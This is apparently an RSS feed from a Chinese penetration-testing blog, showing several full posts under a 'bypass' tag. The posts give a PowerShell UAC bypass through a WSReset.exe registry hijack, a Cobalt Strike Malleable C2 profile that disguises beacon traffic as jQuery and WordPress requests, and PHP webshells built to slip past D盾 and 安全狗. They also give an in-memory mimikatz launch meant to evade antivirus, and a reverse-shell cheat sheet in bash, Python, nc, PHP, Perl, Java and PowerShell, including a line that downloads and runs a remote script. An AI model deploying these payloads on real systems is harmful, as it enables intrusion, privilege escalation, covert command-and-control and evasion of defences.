<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>bypass &#8211; ChaBug安全</title>
	<atom:link href="/tags/bypass/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Sat, 09 May 2020 08:00:14 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>Win10利用应用商店WSReset.exe进行bypassuac</title>
		<link>/tools/1714.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sat, 09 May 2020 07:11:32 +0000</pubDate>
				<category><![CDATA[工具分享]]></category>
		<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[bypass]]></category>
		<category><![CDATA[uac]]></category>
		<category><![CDATA[win10]]></category>
		<category><![CDATA[内网]]></category>
		<category><![CDATA[渗透]]></category>
		<guid isPermaLink="false">/?p=1714</guid>

					<description><![CDATA[遇到了win10的环境就找了下bypassuac的。 环境 win10 1909 18363.535 Pro 复现 利用微软提供的sigcheck.exe签名检查工具发现 C:\W...]]></description>
										<content:encoded><![CDATA[<p>遇到了<span class="wpcom_tag_link"><a href="/tags/win10" title="win10" target="_blank">win10</a></span>的环境就找了下<span class="wpcom_tag_link"><a href="/tags/bypass" title="bypass" target="_blank">bypass</a></span><span class="wpcom_tag_link"><a href="/tags/uac" title="uac" target="_blank">uac</a></span>的。</p>
<h2>环境</h2>
<p>win10 1909 18363.535 Pro</p>
<h2>复现</h2>
<p>利用微软提供的<a class="wp-editor-md-post-content-link" href="https://docs.microsoft.com/en-us/sysinternals/downloads/sigcheck">sigcheck.exe</a>签名检查工具发现 <code>C:\Windows\System32\WSReset.exe</code> 存在<code>autoElevate</code>属性为<code>true</code></p>
<p><img src="https://y4er.com/img/uploads/20200509104541.png" alt="image.png" /></p>
<p>使用Procmon64.exe添加过滤条件</p>
<p><img src="https://y4er.com/img/uploads/20200509108734.png" alt="image.png" /></p>
<p>没找到 <code>HKCU\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\open\command</code></p>
<p>根据<a class="wp-editor-md-post-content-link" href="https://docs.microsoft.com/en-us/windows/win32/sysinfo/hkey-classes-root-key">微软文档</a>可知用户特定的设置优先于默认设置，而当前用户可以写入这个值，那么可以使用powershell来实现poc。</p>
<pre><code class="language-powershell line-numbers">&lt;#
.SYNOPSIS
Fileless UAC Bypass by Abusing Shell API

Author: Hashim Jawad of ACTIVELabs

.PARAMETER Command
Specifies the command you would like to run in high integrity context.

.EXAMPLE
Invoke-WSResetBypass -Command "C:\Windows\System32\cmd.exe /c start cmd.exe"

This will effectivly start cmd.exe in high integrity context.

.NOTES
This UAC bypass has been tested on the following:
 - Windows 10 Version 1803 OS Build 17134.590
 - Windows 10 Version 1809 OS Build 17763.316
#&gt;

function Invoke-WSResetBypass {
      Param (
      [String]$Command = "C:\Windows\System32\cmd.exe /c start cmd.exe"
      )

      $CommandPath = "HKCU:\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\open\command"
      $filePath = "HKCU:\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\open\command"
      New-Item $CommandPath -Force | Out-Null
      New-ItemProperty -Path $CommandPath -Name "DelegateExecute" -Value "" -Force | Out-Null
      Set-ItemProperty -Path $CommandPath -Name "(default)" -Value $Command -Force -ErrorAction SilentlyContinue | Out-Null
      Write-Host "[+] Registry entry has been created successfully!"

      $Process = Start-Process -FilePath "C:\Windows\System32\WSReset.exe" -WindowStyle Hidden
      Write-Host "[+] Starting WSReset.exe"

      Write-Host "[+] Triggering payload.."
      Start-Sleep -Seconds 5

      if (Test-Path $filePath) {
      Remove-Item $filePath -Recurse -Force
      Write-Host "[+] Cleaning up registry entry"
      }
}
</code></pre>
<p>在我自己测试的过程中因为WSReset.exe启动过慢的情况出现了多次复现不成功，建议把powershell脚本去掉后面的清空注册表，避免WSReset运行时找不到注册表，不过记得手动清除。</p>
<p><img src="https://y4er.com/img/uploads/20200509105277.png" alt="image.png" /></p>
<h2>参考</h2>
<ol>
<li>https://www.activecyber.us/activelabs/windows-uac-bypass</li>
<li>https://github.com/sailay1996/UAC_Bypass_In_The_Wild</li>
</ol>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Cobalt Strike Malleable C2 配置</title>
		<link>/web/832.html</link>
		
		<dc:creator><![CDATA[X1r0z]]></dc:creator>
		<pubDate>Tue, 13 Aug 2019 13:58:32 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[bypass]]></category>
		<category><![CDATA[cobaltstrike]]></category>
		<guid isPermaLink="false">/?p=832</guid>

					<description><![CDATA[Malleable C2 是 Cobalt Strike 的一项功能, 意为 &#8220;可定制的&#8221; 的 C2 服务器. Malleable C2 允许我们仅通过一个...]]></description>
										<content:encoded><![CDATA[<p>Malleable C2 是 Cobalt Strike 的一项功能, 意为 &#8220;可定制的&#8221; 的 C2 服务器. Malleable C2 允许我们仅通过一个简单的配置文件来改变 Beacon 与 C2 通信时的流量特征与行为.</p>
<h2>配置示例</h2>
<p>一个简单的 HTTP Malleable C2 Profile.</p>
<pre><code class="language-cmd ">set sample_name "my";
set sleeptime "5000";
set tcp_port "7001";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36";

http-get {

    set uri "/jquery.min.js";

    client {

        header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8";
        parameter "ver" "1.2.4";

        metadata {

            base64;
            prepend "token=";
            header "Cookie";

        }

    }

    server {

        header "Server" "Apache/2.4.39 (Unix)";
        header "Content-Type" "application/javascript; charset=utf-8";

        output {

            base64;
            prepend "/*! jQuery v2.1.3 | (c) 2005, 2014 jQuery Foundation, Inc. | jquery.org/license */!function(a,b){"object"==typeof module&amp;&amp;"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a)";
            append "var nc=a.jQuery,oc=a.$;return n.noConflict=function(b){return a.$===n&amp;&amp;(a.$=oc),b&amp;&amp;a.jQuery===n&amp;&amp;(a.jQuery=nc),n},b||(a.jQuery=a.$=n),n});";
            print;

        }
    }
}

http-post {

    set uri "/wp-admin";

    client {

        header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8";
        header "Cookie" "wordpress_test_cookie=WP+Cookie+check";

        id {

            base64;
            prepend "PHPSESSID=";
            header "Cookie";

        }

        output {

            base64;
            print;

        }
    }

    server {

        header "Server" "Apache/2.4.39 (Unix)";
        header "Content-Type" "text/html; charset=UTF-8";

        output {

            base64;
            print;

        }
    }
}

http-stager {

    set uri_x86 "/favicon1.ico";
    set uri_x64 "/favicon2.ico";

    client {

        header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8";

    }

    server {

        header "Server" "Apache/2.4.39 (Unix)";
        header "Content-Type" "image/x-icon";

        output {

            print;

        }
    }
}
</code></pre>
<p>下面将会基于这个配置文件依次进行讲解.</p>
<p>但先来看看这个配置文件做了什么. 以 http-get 为例, 该代码块仅对通信过程中的 GET 请求有效.</p>
<pre><code class="language-cmd ">http-get {

    set uri "/jquery.min.js";

    client {

        header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8";
        parameter "ver" "1.2.4";

        metadata {

            base64;
            prepend "token=";
            header "Cookie";

        }

    }

    server {

        header "Server" "Apache/2.4.39 (Unix)";
        header "Content-Type" "application/javascript; charset=utf-8";

        output {

            base64;
            prepend "/*! jQuery v2.1.3 | (c) 2005, 2014 jQuery Foundation, Inc. | jquery.org/license */!function(a,b){"object"==typeof module&amp;&amp;"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a)";
            append "var nc=a.jQuery,oc=a.$;return n.noConflict=function(b){return a.$===n&amp;&amp;(a.$=oc),b&amp;&amp;a.jQuery===n&amp;&amp;(a.jQuery=nc),n},b||(a.jQuery=a.$=n),n});"
            print;

        }
    }
}
</code></pre>
<p>http-get 中分为 client 和 server 两大块, 分别针对 Beacon 发送的请求和 C2 响应的内容进行修改.</p>
<p>首先我们指定了参数 <code>uri</code> 为 <code>/jquery.min.js</code>, 表示通信时请求的 URL 地址.</p>
<p>在 client 块里, 我们在请求头中添加了 <code>Accept-Language</code> 字段, 对要发送的 Metadata 进行 base64 编码并拼接字符串, 然后将数据存放在 HTTP 头中, 其内容为 <code>Cookie: token=BASE64_ENCODED_DATA</code> , 最终发送至 C2.</p>
<p>在 server 块里, 我们在响应头中添加了 <code>Server</code> 和 <code>Content-Type</code> 字段, 在响应内容的前后加上 jQuery 代码, 最后进行 base64 编码并响应在 HTTP Body 里.</p>
<h2>通信过程</h2>
<p>在此之前. 我觉得有必要了解一下 Beacon 与 C2 的通信过程.</p>
<p>当 Beacon 被执行后, 会在 C2 上下载载荷执行, 即 Stage 过程, Stageless 则省去了这一步.</p>
<p>之后, Beacon 根据设置的睡眠时间进入睡眠状态, 结束后向 C2 发送有关 Beacon 的信息如系统类型, 版本, 当前用户, 称之为 Metadata.</p>
<p>如果存在待执行的任务, C2 就会响应发送 Metadata 的请求, Beacon 将会收到有关 Task 的具体内容和唯一的 Task ID, 并依次执行任务.</p>
<p>执行完毕后, Beacon 将各 Task 回显的数据与对应的 Task ID 依次上传至 C2, 然后再次进入睡眠状态.</p>
<p>其中 Beacon 发送 Metadata 时一般使用 GET, 上传回显数据时使用 POST.</p>
<h2>代码结构</h2>
<p>我们对于流量特征的修改都是在指定的代码块中进行的, 以下是上文中的代码块.</p>
<pre><code class="language-cmd ">http-get {

    client {

        metadata {

        }

    }

    server {

        output {

        }
    }
}


http-post {

    client {

        id {

        }

        output {

        }
    }

    server {

        output {

        }
    }
}


http-stager {

    client {

    }

    server {

        output {

        }
    }
}

</code></pre>
<p>可以看到, 代码块按 HTTP 请求分为 http-get http-post 两种, 以及被单独列出来的 http-stager 用于 stage 过程.</p>
<p>按照对象分为 client 和 server, 按照不同的通信步骤分为 metadata id 和 output.</p>
<p>这里 client 和 server 恰好都有 output 块, 可能会有点不理解. 简要说明一下, Beacon 在上传 Task 数据时是需要对应的 Task ID 的, id 块正好是针对 Task ID 的修改, output 块则是修改通过 POST 发送的数据, 而 server 中的 output 块仅仅是用于修改响应内容的, 不要弄混了.</p>
<h2>语句与参数</h2>
<h3>自定义参数</h3>
<p>在之前的代码中, 我们在开头指定了一些自定义参数.</p>
<pre><code class="language-cmd ">set sample_name "my";
set sleeptime "5000";
set tcp_port "7001";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36";
</code></pre>
<p>这些是作用于全局的参数, 统一的语法为 <code>set key "value"</code> 且后面需要加上分号, 字符串仅能使用双引号表示.</p>
<p>另外可以通过反斜杠来表示特殊字符, 例如 <code>n</code>, <code>r</code>, <code>t</code>, <code>"</code>, <code>\</code>, Unicode 字符 <code>u123</code> 和Hex 字符 <code>x123</code>.</p>
<p>参数很简单, 就不再细说了. 需要注意的是 <code>tcp_port</code>. 还记得之前的 Bind TCP Beacon 吗? 通过 <code>tcp_port</code> 我们就能够更改目标 Beacon 监听的端口.</p>
<p>而对于这些参数.</p>
<pre><code class="language-cmd ">set uri "/jquery.min.js";
set uri_x86 "/favicon1.ico";
set uri_x64 "/favicon2.ico";
</code></pre>
<p>则只能放在 http-get http-post 和 http-stager 中.</p>
<p>其中 <code>uri</code> 可在 http-get http-post 中指定, 表示通信时请求的 URL, 例如 <code>/wp-admin</code>.</p>
<p><code>uri_x86</code> 和 <code>uri_x64</code> 是指在不同位数的系统上 stage 过程中所请求的 URL, 两者不能重复. 个人建议在写的的时候也尽量使用二进制文件的路径, 例如 JPG PNG GIF.</p>
<h3>语句</h3>
<p>在 Malleable C2 中, 语句可分为数据转换语句, 终止语句, 额外语句 (Header and Parameter) 三种类型.</p>
<p>数据转换语句有 base64 base64url mask netbios netbiosu prepend append.</p>
<p>终止语句有 print uri-append header parameter.</p>
<p>额外语句有 header parameter.</p>
<h3>输出位置</h3>
<p>首先来讲一下终止语句, 也就是指定传输数据的存放位置. Malleable C2 提供了 4 种方法: print uri-append header parameter, 分别为存放在 HTTP Body, URL, HTTP 头和 GET 参数中.</p>
<p>终止语句只能写进 metadata id output 块, 不能直接放在 client 和 server 里, 而且终止语句的后面不能有其它语句, 也就是说只能放在代码块末尾.</p>
<p>其中 print 和 uri-append 无须指定参数, 后两者的格式为 <code>header "Cookie"</code> 和 <code>parameter "action"</code>, 即存放位置为 Cookie 字段和 action 参数. 四种方法中只有 print 能够存放长数据.</p>
<p>举个例子.</p>
<pre><code class="language-cmd ">metadata {

    base64;
    prepend "token=";
    header "Cookie";

}
</code></pre>
<p>上面我们将数据进行 base64 编码, 并在其前面添加 <code>token=</code>, 最后存放在 HTTP 头的 Cookie 字段中, 最后的效果为 <code>Cookie: token=BASE64_ENC_DATA</code>.</p>
<h3>编码与加密</h3>
<p>还是上面的代码.</p>
<pre><code class="language-cmd ">metadata {

    base64;
    prepend "token=";
    header "Cookie";

}
</code></pre>
<p>这里的 base64 叫作数据转换语句, 只能写进 metadata id output 块中. 所有的数据转换语句都不需要传参, 但都不能放在 http-stager 块中 (因为那么点 Payload 长度没空间给你写解码函数).</p>
<p>另外还有 base64url mask netbios netbiosu. base64url 编码后的数据是可以放在 URL 中的, mask 为异或加密, 至于 netbios netbiosu 则是在 SMB 传输过程中针对主机名的编码方式.</p>
<p>最后说一个需要注意的点.</p>
<pre><code class="language-cmd ">metadata {

    prepend "token=";
    base64;
    header "Cookie";

}
</code></pre>
<p>以这种顺序编码的话, 它就会将 <code>token=</code> 字符串与数据一起编码, HTTP 字段就会变成 <code>Cookie: BASE64_ENC_DATA</code>.</p>
<h3>伪造与混淆</h3>
<p>prepend 和 append 混用.</p>
<pre><code class="language-cmd ">output {

    base64;
    prepend "/*! jQuery v2.1.3 | (c) 2005, 2014 jQuery Foundation, Inc. | jquery.org/license */!function(a,b){"object"==typeof module&amp;&amp;"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a)";
    append "var nc=a.jQuery,oc=a.$;return n.noConflict=function(b){return a.$===n&amp;&amp;(a.$=oc),b&amp;&amp;a.jQuery===n&amp;&amp;(a.jQuery=nc),n},b||(a.jQuery=a.$=n),n});"
    print;

}
</code></pre>
<p>我们通过 base64 加密数据, 并在其前后添加 jQuery 代码, 最终通过 HTTP Body 输出.</p>
<p>其中的 prepend 和 append 是可以放进 http-stager 块的, 两者合理搭配的话能够达到隐蔽的效果. 例如分别插入图片开头和末尾的 blob, 把数据留给中间.</p>
<p>不过除了 prepend append 就没有别的混淆办法了吗? 答案是有的.</p>
<pre><code class="language-cmd ">client {

    set uri "/jQuery.min.js"
    header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8";
    parameter "ver" "1.2.4";

}
</code></pre>
<p>上述代码通过 header 和 parameter 添加用于混淆的 HTTP 头和 GET 参数, 格式为 <code>header "key" "value"</code> 和 <code>parameter "key "value"</code>, 最终的效果是请求了 <code>/jQuery.min.js?ver=1.2.4</code> 这个地址.</p>
<p>注意这里的 header 和 parameter 我称之为额外语句, 与终止语句的不同在于它们的位置不一样. 额外语句只能写进 client 和 server 块, 而不是 metadata id 和 output 块.</p>
<h2>调试运行</h2>
<p>Cobalt Strike 默认给我们了 <code>c2lint</code> 用于检查配置文件的语法错误, 同时还能够预览配置后的 HTTP 请求与响应.</p>
<p><img src="https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/20190813213215.png" alt="" /></p>
<p><img src="/wp-content/uploads/2019/08/20190813213243.png" alt="" /></p>
<p><img src="/wp-content/uploads/2019/08/20190813213305.png" alt="" /></p>
<p>通过 teamserver 命令的第三个参数指定配置文件.</p>
<p><img src="/wp-content/uploads/2019/08/20190813213456.png" alt="" /></p>
<h2>一些话</h2>
<p>Github 上的 Malleable C2 Profile.</p>
<p><a href="https://github.com/rsmudge/Malleable-C2-Profiles">rsmudge/Malleable-C2-Profiles</a></p>
<p><a href="https://github.com/threatexpress/malleable-c2">threatexpress/malleable-c2</a></p>
<p>这篇文章也只是给 Malleable C2 开了个头, 并没有涉及到什么太过深入的东西. 例如如何自定义命名管道, DNS 传输, 添加证书, 签名等.</p>
<p>加油吧 🙂</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>[2019-8-12更新]过D盾安全狗PHP一句话</title>
		<link>/tools/655.html</link>
					<comments>/tools/655.html#comments</comments>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Fri, 09 Aug 2019 06:22:16 +0000</pubDate>
				<category><![CDATA[工具分享]]></category>
		<category><![CDATA[bypass]]></category>
		<category><![CDATA[webshell]]></category>
		<guid isPermaLink="false">/?p=655</guid>

					<description><![CDATA[准备写一个长期更新的免杀webshell总结 2019-08-12 2019-08-09 疯狂免杀 2019-08-07 &#60;?php function a() { retur...]]></description>
										<content:encoded><![CDATA[<p>准备写一个长期更新的免杀<span class="wpcom_tag_link"><a href="/tags/webshell" title="webshell" target="_blank">webshell</a></span>总结</p>
<p>2019-08-12</p>
<p><img src="/wp-content/uploads/2019/08/20190812215816.png" alt="20190812215816" /></p>
<p>2019-08-09</p>
<p>疯狂免杀</p>
<p><img src="/wp-content/uploads/2019/08/20190809144327-1.png" alt="20190809144327" /></p>
<p>2019-08-07</p>
<pre><code class="language-php ">&lt;?php
function a()
{
    return '' + @$_POST['a'];
}

eval(a());
</code></pre>
<p>再来一个三元表达式的</p>
<p><img src="/wp-content/uploads/2019/08/20190807111622.png" alt="20190807111622" /></p>
<p>2019-08-06</p>
<p>常量过D盾</p>
<p>https://secquan.org/Notes/1069997</p>
<pre><code class="language-php ">&lt;?php
sprintf("123");
sprintf("123");
sprintf("123");
$a=$_GET['a'];
define("Test", "$a",true);
assert(TesT);
?&gt;
</code></pre>
<p>另一种思路反序列化过D盾，代码自己写</p>
<p>再一种思路 创建对象重复定义变量成员过D盾</p>
<p>2019-05-30</p>
<p>ASCII码显示不出来的字符做变量过D盾</p>
<p><a href="https://github.com/th1k404/unishell">https://github.com/th1k404/unishell</a></p>
<p><a href="http://ascii.911cha.com/">http://ascii.911cha.com/</a></p>
<pre><code class="language-php ">&lt;?php
if($_GET['␄']){
    $␄=$_GET['␄'];
    @preg_replace("/abcde/e",$␄, "abcdefg");
}
?&gt;
</code></pre>
<p>可以自己修改</p>
<p>2019-05-21</p>
<p><a href="https://github.com/yzddmr6/webshell-venom">https://github.com/yzddmr6/webshell-venom</a></p>
<p>利用随机异或无限免杀d盾</p>
<p>蚁剑插件版请移步:</p>
<p><a href="https://github.com/yzddmr6/as_webshell_venom">https://github.com/yzddmr6/as_webshell_venom</a></p>
<pre><code class="language-php ">&lt;?php
//code by Mr6
error_reporting(0);
    function randomkeys($length)   
{   
   $pattern = '`~-=!@#$%^&amp;*_/+?&lt;&gt;{}|:[]abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';  
    for($i=0;$i&lt;$length;$i++)   
    {   
        $key[$i]= $pattern{mt_rand(0,strlen($pattern)-1)};    //生成php随机数   
    }   
    return $key;   
}   
    function randname($length)   
{   
   $pattern = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';  
    for($i=0;$i&lt;$length;$i++)   
    {   
        @$key.= $pattern{mt_rand(0,strlen($pattern)-1)};    //生成php随机数   
    }   
    return $key;   
} 
    $str=randomkeys(6); 
    $bname=randname(4);
    $lname=strrev(strtolower($bname));
    $str2="assert";
            echo "&lt;?php n";
            echo "header('HTTP/1.1 404');n";
            echo "class  ".$bname."{ public $c='';nfunction __destruct(){n";
    for ($i=0;$i&lt;6;$i++)
    {
        $name="_".$i;
        $str3[$i]=bin2hex($str[$i] ^$str2[$i]);
        echo "$"."$name=";
    echo "'".$str[$i]."'"."^".""\x".$str3[$i]."";n";
    }
    $aa='$db=$_0.$_1.$_2.$_3.$_4.$_5;';
    echo $aa;
    echo "n";
    echo '@$db ("$this-&gt;c");}}';
    echo "n";
    echo "${$lname}=new {$bname}();n";
    echo "@${$lname}-&gt;c=$_POST['Mr6'];n";
    echo "?&gt;n";
    @$file=$_GET['file'];
    $html = ob_get_contents();
    if (isset($file)){
    if(file_put_contents($file,$html))
    echo "nnn".$file."   save success!";}
    else {echo "Please input the file name like '?file=xxx.txt'";}
    ?&gt;
</code></pre>
<p>2019-05-11</p>
<pre><code class="language-php ">&lt;?php
function a(){
    return $a=$_POST['1'];
}
@assert(a());
?&gt;
</code></pre>
<p><img src="/wp-content/uploads/2019/08/20190511171755.png" alt="" /></p>
<pre><code class="language-php ">&lt;?php
$value=$key = "a";
foreach($_POST as $key=&gt;$value){
    assert($value);
}
</code></pre>
<p><img src="/wp-content/uploads/2019/08/20190511183608.png" alt="" /></p>
<pre><code class="language-php ">&lt;?php
$x='$_PO'."STasdasd[".'1]';
$x = $x.str_replace('STasdasd',"ST[");

for ($x=0; $x&lt;=0; $x++) {
    assert("$x");
}
</code></pre>
<p><img src="/wp-content/uploads/2019/08/20190511190505.png" alt="" /></p>
<p><strong>可以发现的规律是当已经定义的变量和循环的变量名一致时，D盾就不是那么敏感了</strong></p>
]]></content:encoded>
					
					<wfw:commentRss>/tools/655.html/feed</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
			</item>
		<item>
		<title>msf execute from memory bypass waf</title>
		<link>/web/678.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sun, 28 Jul 2019 08:36:37 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[bypass]]></category>
		<category><![CDATA[msf]]></category>
		<category><![CDATA[免杀]]></category>
		<guid isPermaLink="false">/?p=678</guid>

					<description><![CDATA[@X1r0z的鬼点子 https://exp10it.cn/msf-execute-from-memory.html 具体原理和进程注入类似, 先创建一个正常的进程, 然后把这个进...]]></description>
										<content:encoded><![CDATA[<blockquote><p>
  @X1r0z的鬼点子 https://exp10it.cn/<span class="wpcom_tag_link"><a href="/tags/msf" title="msf" target="_blank">msf</a></span>-execute-from-memory.html
</p></blockquote>
<p>具体原理和进程注入类似, 先创建一个正常的进程, 然后把这个进程里的内存空间覆盖成我们想要执行的程序.</p>
<p>Meterpreter 方式.</p>
<pre><code class="language-bash ">execute -H -m -d notepad.exe -f mimikatz.exe -i
-H 隐藏窗口.
</code></pre>
<p>-m 在内存中执行.</p>
<p>-d 指定覆盖进程 (dummy).</p>
<p>-f 指定执行程序 (本地文件).</p>
<p>-i 与该程序交互 (可选).</p>
<p>-a 传递参数 (可选).</p>
<p><strong>在实际测试中能够绕过 360 的检测, 当然前提是你反弹会话的 payload 是<span class="wpcom_tag_link"><a href="/tags/%e5%85%8d%e6%9d%80" title="免杀" target="_blank">免杀</a></span>的.</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>渗透测试中弹shell的多种方式及bypass</title>
		<link>/tools/677.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sun, 28 Jul 2019 08:33:51 +0000</pubDate>
				<category><![CDATA[工具分享]]></category>
		<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[bypass]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[反向shell]]></category>
		<guid isPermaLink="false">/?p=677</guid>

					<description><![CDATA[文章首发先知，欢迎移步 https://xz.aliyun.com/t/5768 在我们渗透测试的过程中，最常用的就是基于tcp/udp协议反弹一个shell，也就是反向连接。 我...]]></description>
										<content:encoded><![CDATA[<blockquote><p>
  文章首发先知，欢迎移步 https://xz.aliyun.com/t/5768
</p></blockquote>
<p>在我们渗透测试的过程中，最常用的就是基于tcp/udp协议反弹一个<span class="wpcom_tag_link"><a href="/tags/shell" title="shell" target="_blank">shell</a></span>，也就是反向连接。</p>
<p>我们先来讲一下什么是正向连接和反向连接。</p>
<ul>
<li>正向连接：我们本机去连接目标机器，比如ssh和mstsc</li>
<li>反向连接：目标机器去连接我们本机</li>
</ul>
<p>那么为什么反向连接会比较常用呢</p>
<ol>
<li>目标机器处在局域网内，我们正向连不上他</li>
<li>目标机器是动态ip</li>
<li>目标机器存在防火墙</li>
</ol>
<p>然后说一下我的实验环境</p>
<p>虚拟机采用nat模式</p>
<p>攻击机：Kali Linux ：172.16.1.130</p>
<p>受害机：Centos 7 ：172.16.1.134</p>
<h1>常见姿势</h1>
<h2>bash</h2>
<p>bash也是最常见的一种方式</p>
<p>Kali监听</p>
<pre><code class="language-bash ">nc -lvvp 4444
</code></pre>
<p>centos运行</p>
<pre><code class="language-bash ">bash -i &gt;&amp; /dev/tcp/172.16.1.130/4444 0&gt;&amp;1
</code></pre>
<p>当然你还可以这样</p>
<pre><code class="language-bash ">exec 5&lt;&gt;/dev/tcp/172.16.1.130/4444;cat &lt;&amp;5|while read line;do $line &gt;&amp;5 2&gt;&amp;1;done
</code></pre>
<p>这两个都是bash根据Linux万物皆文件的思想衍生过来的，具体更多bash的玩法你可以参考</p>
<p>https://xz.aliyun.com/t/2549</p>
<h2>python</h2>
<p>攻击机Kali还是监听</p>
<pre><code class="language-bash ">nc -lvvp 4444
</code></pre>
<p>centos执行</p>
<pre><code class="language-python ">python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.16.1.130",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
</code></pre>
<p>这个payload是反向连接并且只支持Linux，Windows可以参考离别歌师傅的 <a href="https://www.leavesongs.com/PYTHON/python-shell-backdoor.html">python windows正向连接后门</a></p>
<h2>nc</h2>
<p>如果目标机器上有nc并且存在<code>-e</code>参数，那么可以建立一个<span class="wpcom_tag_link"><a href="/tags/%e5%8f%8d%e5%90%91shell" title="反向shell" target="_blank">反向shell</a></span></p>
<p>攻击机监听</p>
<pre><code class="language-bash ">nc -lvvp 4444
</code></pre>
<p>目标机器执行</p>
<pre><code class="language-bash ">nc 172.16.1.130 4444 -t -e /bin/bash
</code></pre>
<p>这样会把目标机的<code>/bin/bash</code>反弹给攻击机</p>
<p>但是很多Linux的nc很多都是阉割版的，如果目标机器没有nc或者没有-e选项的话，不建议使用nc的方式</p>
<h2>php</h2>
<p>攻击机监听</p>
<pre><code class="language-bash ">nc -lvvp 4444
</code></pre>
<p>要求目标机器有php然后执行</p>
<pre><code class="language-php ">php -r '$sock=fsockopen("172.16.1.130",4444);exec("/bin/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3");'
</code></pre>
<p>或者你直接在web目录写入一个php文件，然后浏览器去访问他就行了，这有一个<a href="https://my.oschina.net/chinahermit/blog/144035">Linux和Windows两用的脚本</a></p>
<h2>Java 脚本反弹</h2>
<pre><code class="language-java ">r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5&lt;&gt;/dev/tcp/172.16.1.130/4444;cat &lt;&amp;5 | while read line; do $line 2&gt;&amp;5 &gt;&amp;5; done"] as String[])
p.waitFor()
</code></pre>
<h2>perl 脚本反弹</h2>
<pre><code class="language-perl ">perl -e 'use Socket;$i="172.16.1.130";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,"&gt;&amp;S");open(STDOUT,"&gt;&amp;S");open(STDERR,"&gt;&amp;S");exec("/bin/sh -i");};'
</code></pre>
<h2>powershell</h2>
<p>目标机器执行</p>
<pre><code class="language-powershell ">powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 172.16.1.130 -port 4444
</code></pre>
<h2>msfvenom 获取反弹一句话</h2>
<p>msf支持多种反弹方式，比如exe ps php asp aspx甚至是ruby等，我们可以用msfvenom来生成payload，然后在msf中监听，执行之后就会反弹回来session</p>
<p>生成payload的方法参考<a href="http://www.myh0st.cn/index.php/archives/67/">生成msf常用payload</a>，不再赘述</p>
<p>然后msf监听</p>
<pre><code class="language-bash ">msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 172.16.1.130
set LPORT 4444
set ExitOnSession false
exploit -j -z
</code></pre>
<hr />
<p>那么讲到这里我们把一句话反弹shell的方式讲的差不多了，但是到这里我们又涉及到了一个免杀的问题。</p>
<p>我们首先需要知道的是目前的反病毒软件查杀，常见的有三种：</p>
<ol>
<li>基于文件特征</li>
<li>基于文件行为</li>
<li>基于云查杀 实际也是基于特征数据库的查杀</li>
</ol>
<p>到目前为止，我所知道的免杀姿势有以下几种</p>
<ol>
<li>Windows白名单 俗称白加黑 也就是用带有微软签名的软件来运行我们自己的shellcode</li>
<li>payload分离免杀 比如shellcode loader</li>
<li>换一门偏僻的语言来自己写反弹shell</li>
</ol>
<p>而接下来的几种只适用于Windows。</p>
<p>攻击机：Kali Linux ：172.16.1.130</p>
